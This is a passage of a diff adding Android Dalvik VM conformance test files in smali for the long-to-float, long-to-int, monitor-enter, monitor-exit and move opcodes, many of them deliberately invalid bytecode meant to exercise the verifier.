+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_2.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali
new file mode 100644
index 0000000..a395a8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_3.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       const v6, 1234
+       long-to-float v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali
new file mode 100644
index 0000000..0b358b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_4.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali
new file mode 100644
index 0000000..b24579a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_5.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali
new file mode 100644
index 0000000..c075881
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_1.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali
new file mode 100644
index 0000000..876cf93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_2.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali
new file mode 100644
index 0000000..37256cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_4.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali
new file mode 100644
index 0000000..7041b5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_5.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali
new file mode 100644
index 0000000..264500d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_6.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+       move v0, v7
+       move v1, v7
+       long-to-int v0, v0
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali
new file mode 100644
index 0000000..f1879c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali

@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_1.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;
+.super  Ljava/lang/Object;
+
+.field public counter:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+
+       const/4 v0, 0
+
+       iput v0, v1, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+       monitor-enter v7
+:Label8
+       iget v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+
+       const-wide/16 v3, 500
+       invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
+       
+       iget v2, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       
+       if-ne v1, v2, :Label0
+       
+       add-int/lit8 v1, v1, 1
+       iput v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+:Label24
+       return-void
+:Label0
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+       return-void
+       
+:Label25
+       move-exception v3
+       monitor-exit v7
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       throw v3
+.catchall {:Label8 .. :Label24} :Label25
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali
new file mode 100644
index 0000000..d6e3b69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali

@@ -0,0 +1,85 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_2.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;
+.super  Ljava/lang/Object;
+
+.field private flg:I
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 0
+       iput v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       return-void
+.end method
+
+.method public run(I)V
+.registers 10
+
+       monitor-enter v8
+:Label13
+       monitor-enter v8
+:Label14
+
+       iput v9, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+       
+:Label16
+       monitor-exit v8
+:Label20
+
+       const-wide/16 v4, 500
+
+:Label22
+       invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
+:Label23
+
+       iget v1, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       if-eq v1, v9, :Label35
+
+       const/4 v5, 0
+       iput-boolean v5, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       
+:Label35
+       monitor-exit v8
+:Label37
+       return-void
+       
+       
+:Label46
+       move-exception v4
+
+       const/4 v6, 0
+       iput-boolean v6, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+
+       monitor-exit v8
+:Label53
+       throw v4
+       
+.catchall {:Label13 .. :Label14} :Label46
+.catchall {:Label16 .. :Label20} :Label46
+.catchall {:Label22 .. :Label23} :Label46
+.catchall {:Label35 .. :Label37} :Label46
+.catchall {:Label46 .. :Label53} :Label46
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali
new file mode 100644
index 0000000..bb5bd5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_3.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const/4 v5, 0
+       monitor-enter v5
+       monitor-exit v5
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali
new file mode 100644
index 0000000..62b5db8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_4.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       monitor-enter v6
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali
new file mode 100644
index 0000000..fd33bdc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_5.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v5, 12345
+       monitor-enter v5
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali
new file mode 100644
index 0000000..d4a8386
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_8.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const-wide v4, 1.79
+       monitor-enter v4
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali
new file mode 100644
index 0000000..7c2413d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_1.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;
+.super  Ljava/lang/Object;
+
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;->result:Z
+
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       new-instance v2, Ljava/lang/Object;
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       monitor-enter v2
+       monitor-exit v3
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali
new file mode 100644
index 0000000..d2d6550
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali

@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_3.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+
+       const/4 v1, 0
+:Label4
+       monitor-exit v1
+:Label5
+       return-void
+:Label6
+       move-exception v1
+       monitor-exit v3
+       throw v1
+.catchall {:Label4 .. :Label5} :Label6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali
new file mode 100644
index 0000000..b7708de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_4.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       monitor-exit v4
+
+       return-void       
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali
new file mode 100644
index 0000000..fc30697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_5.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const v3, 12345
+       monitor-exit v3
+       return-void       
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali
new file mode 100644
index 0000000..dff5a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_8.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const-wide v0, 1.79
+       monitor-exit v0
+       return-void       
+
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali
new file mode 100644
index 0000000..031d73e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali

@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_1.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const v0, 1234
+       const v15, 567989
+
+       move v0, v15
+       
+       const v4, 567989
+
+       if-ne v0, v4, :Label0
+       if-ne v15, v4, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali
new file mode 100644
index 0000000..3b9ce9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_2.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move v0, v9
+
+       const v1, 0
+       return v1
+.end method
